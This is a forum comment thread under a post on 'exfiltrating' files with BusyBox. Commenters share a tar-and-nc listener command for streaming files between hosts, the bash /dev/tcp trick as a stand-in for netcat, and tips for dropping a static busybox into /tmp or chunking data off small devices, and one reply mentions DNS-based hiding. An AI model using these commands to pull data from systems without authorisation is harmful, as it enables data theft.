I very much prefer using "tar" and "nc". Example: Host1: "tar -cf - /file1 /file2 | nc -l -p 54321" Host2: "nc host1 54321 | tar -xf -"
Exfiltrating files with BusyBox
11–20 of 24 posts
Re: Exfiltrating files with BusyBox
#12Re: Exfiltrating files with BusyBox
#13I very much prefer using "tar" and "nc". Example: Host1: "tar -cf - /file1 /file2 | nc -l -p 54321" Host2: "nc host1 54321 | tar -xf -"
If you have bash, you can even partially get by without netcat as well. Bash has the wonderful "fake" devicenodes, /dev/tcp/host/port and /dev/udp/host/port.
One thing that annoys me is how people will crack a quad core 1.6Ghz smartphone with 64Gb of storage and then install busybox to save those 50Mb over a regular shell environment that won't embarrass itself on every shell script or configure script.
Re: Exfiltrating files with BusyBox
#14Re: Exfiltrating files with BusyBox
#15That was a let down. Is it really "exfiltration" when you use a protocol designed for mass data transfer and you use it in the exact manner it was intended to be used? The less linkbaity title is "Transferring files with BusyBox's ftp"
Re: Exfiltrating files with BusyBox
#16The ftpput and ftpget commands might not be available even as arguments to the busybox command, depending on how it was configured at build time. # type ftpput -sh: type: ftpput: not found # busybox ftpput busybox: applet not found # Likewise for "nc".
Busybox can be built with as many or as few applets as you want. If the busybox you have access to doesn't have what you need, you could always try putting another busybox in /tmp - https://busybox.net/downloads/binaries/ should have a static binary that works on whatever device you have.
Re: Exfiltrating files with BusyBox
#17Earlier quoted context omitted.
If you have bash, you can even partially get by without netcat as well. Bash has the wonderful "fake" devicenodes, /dev/tcp/host/port and /dev/udp/host/port.
If your system is running busybox you usually won't have full fat bash. One thing that annoys me is how people will crack a quad core 1.6Ghz smartphone with 64Gb of storage and then install busybox to save those 50Mb over a regular shell environment that won't embarrass itself on every shell script or configure script.
Re: Exfiltrating files with BusyBox
#18Re: Exfiltrating files with BusyBox
#19That was a let down. Is it really "exfiltration" when you use a protocol designed for mass data transfer and you use it in the exact manner it was intended to be used? The less linkbaity title is "Transferring files with BusyBox's ftp"
The point of the post was to show how easy it is, as people seem to miss these commands or may not be aware of how easy it is to set up a listening service. It's exfiltration by definition, but you are of course free to mangle the data any way you want or use DNS techniques if you really care about hiding what you're doing, but that's a different post.
Re: Exfiltrating files with BusyBox
#20If you really need to get some data off, look at how much memory you have and just window the copied data in to files you can DL.
Many of the less expensive and crappier ones ship with very little memory, very little flash, and a VERY restrictive busybox build.
Still, somewhere between that and the kernel are going to be the tools you need to get chunks of data out.